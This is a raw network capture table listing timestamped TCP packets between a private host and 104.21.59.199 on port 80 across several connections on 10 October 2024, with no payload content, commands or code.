Oct 10, 2024 21:03:02.115796089 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115916967 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.115942955 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.116027117 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.120280027 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120340109 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120469093 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.120624065 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120709896 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120850086 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120862961 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120918989 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120959997 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.120982885 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121032953 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121125937 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121138096 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121149063 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121170998 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121182919 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121186972 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121239901 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121251106 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121262074 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121304035 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121315956 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121355057 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.121414900 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.125488997 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.125502110 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.125514984 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.125560045 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.408664942 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.417330980 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.422995090 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.423260927 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.762101889 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.767211914 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.767452955 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.787026882 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.792233944 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.232208014 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.233108997 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.233264923 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238307953 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238392115 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238404036 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238416910 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238584995 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238585949 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238703012 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238738060 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238768101 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238801003 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238857031 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238868952 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238879919 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238894939 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238905907 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.238919020 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238984108 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.238984108 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.243604898 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243643999 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243732929 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243743896 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243763924 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243788958 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.243900061 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.243907928 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.243951082 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.243983030 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.244137049 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.244189978 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.244201899 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.244282007 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.244337082 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.244421005 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.248933077 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249032021 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249083996 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.249161005 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249211073 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249330044 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249475956 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249486923 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249684095 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249743938 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249806881 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249856949 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249905109 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249970913 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249982119 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.249993086 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250081062 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250145912 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250159979 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250169992 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250236988 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250250101 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.250299931 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.254234076 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.560273886 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.571429968 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.577167988 CEST	80	50664	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.577325106 CEST	50664	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.758810997 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.763813972 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:03.763999939 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.764411926 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:03.769325018 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.258841038 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.259831905 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.260158062 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.264879942 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265142918 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265216112 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265224934 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265237093 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265295029 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265335083 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.265335083 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.265373945 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265382051 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265389919 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265459061 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265466928 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.265536070 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.270495892 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270524025 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270550013 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270612001 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270637989 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270663023 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.270694017 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.270814896 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.270860910 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.271009922 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.271091938 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.271239042 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.271681070 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.275859118 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.275930882 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.275973082 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.276000023 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.276051044 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.276072025 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.276592016 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.276976109 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.281119108 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.576710939 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.591051102 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.597296953 CEST	80	50667	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.597501040 CEST	50667	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.715776920 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.720853090 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:04.721056938 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.721402884 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:04.726391077 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.174155951 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.228163004 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.492254972 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.492495060 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.497540951 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497581005 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497636080 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497698069 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497704983 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497766972 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497781992 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.497781992 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.497895002 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497903109 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497905970 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497905016 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.497935057 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.497965097 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.498018026 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.502355099 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502444983 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.502684116 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502739906 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.502782106 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502799988 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502840996 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.502862930 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502877951 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.502922058 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.503092051 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.503192902 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.503309965 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.504807949 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.507491112 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.507565022 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.507663965 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.507778883 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508078098 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508146048 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508244991 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508250952 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508397102 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508403063 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508456945 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508550882 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.508557081 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.509799957 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.509865046 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.509871006 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.509917021 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.509995937 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.510035038 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510077953 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510085106 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510087013 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510123968 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510130882 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510163069 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.510207891 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.512574911 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.512636900 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.512695074 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.512703896 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.514858961 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.815891981 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.828392029 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.834302902 CEST	80	50668	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.834503889 CEST	50668	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.949378014 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.954425097 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:05.954507113 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.954850912 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:05.964699984 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.542083979 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.542978048 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.543241024 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.548063993 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548232079 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548248053 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548254967 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548263073 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548291922 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.548312902 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548327923 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.548377037 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.548379898 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548387051 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548422098 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548470020 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.548471928 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.548515081 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.552915096 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.552969933 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.553102016 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553150892 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.553404093 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553411007 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553452969 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553458929 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553459883 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.553466082 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553533077 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.553738117 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.553839922 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.558511019 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.558583021 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.558845043 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.558900118 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.562839031 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.562846899 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.562906027 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.562913895 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.562956095 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.562963963 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563044071 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563139915 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563148022 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563155890 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563462019 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563472033 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563714027 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563821077 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563828945 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.563872099 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.860703945 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.871510029 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.877273083 CEST	80	50669	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.877345085 CEST	50669	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.993160009 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.998172998 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:06.998244047 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:06.998606920 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.003930092 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.443677902 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.444369078 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.444487095 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.449542999 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449561119 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449583054 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449594021 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449650049 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.449656963 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449671984 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449683905 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449692011 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.449724913 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449732065 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.449738979 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449749947 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.449759007 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.449788094 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.454190016 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454240084 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.454490900 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454534054 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.454837084 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454852104 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454900026 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.454936981 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454967022 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.454984903 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.455022097 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.455039024 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.455082893 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.455473900 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.455527067 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.455636978 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.455662966 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.455705881 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.456037998 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.456087112 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.456140041 CEST	80	50670	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:07.456199884 CEST	50670	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:07.459093094 CEST	80	50670	104.21.59.199	192.168.2.4
